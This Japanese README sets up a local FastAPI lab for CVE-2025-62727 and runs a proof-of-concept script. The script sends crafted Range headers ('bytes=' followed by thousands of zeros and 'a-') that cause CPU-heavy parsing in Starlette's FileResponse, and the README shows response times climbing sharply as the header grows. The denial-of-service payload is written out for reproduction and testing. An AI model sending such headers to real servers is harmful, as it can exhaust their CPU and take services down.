CVE-2025-62727 の対象となる被害者は、以下の機能を持つシンプルな FastAPI アプリです:
/ で Hello World を返します。StaticFiles を使用して /static 配下の静的ファイルを配信します。A を N 回繰り返したテキストファイルを自動生成します(N は 1024, 2048, 50176)。(任意)virtualenv を作成して有効化します。
依存関係をインストールします:
pip install -r requirements.txt
サーバーを起動します:
uvicorn main:app --reload
ブラウザで開きます:
http://127.0.0.1:8000/ でインデックスページを表示。http://127.0.0.1:8000/static/1024.txt などで静的ファイルを表示。static/ ディレクトリ配下に生成されます。既存のファイルは上書きされません。StaticFiles を使用しています。同梱の poc.py は、/static ルート経由で bytes=000...000a- 形式の細工されたヘッダーを使用し、Starlette の FileResponse における CPU 負荷の高い Range 解析を引き起こします。
サーバーを起動したら、別のシェルで以下を実行します:
python3 poc.py --sizes 1000,2000,4000,7000
ターゲット URL を上書きする場合(任意):
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
注意事項:
http://127.0.0.1:8000/static/50176.txt(アプリが生成するファイル)をターゲットにします。変更する場合は --url を使用してください。--sizes を小さく調整し、ヘッダーが成功してより強い効果を得たい場合は大きく調整してください。実行結果の例:
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms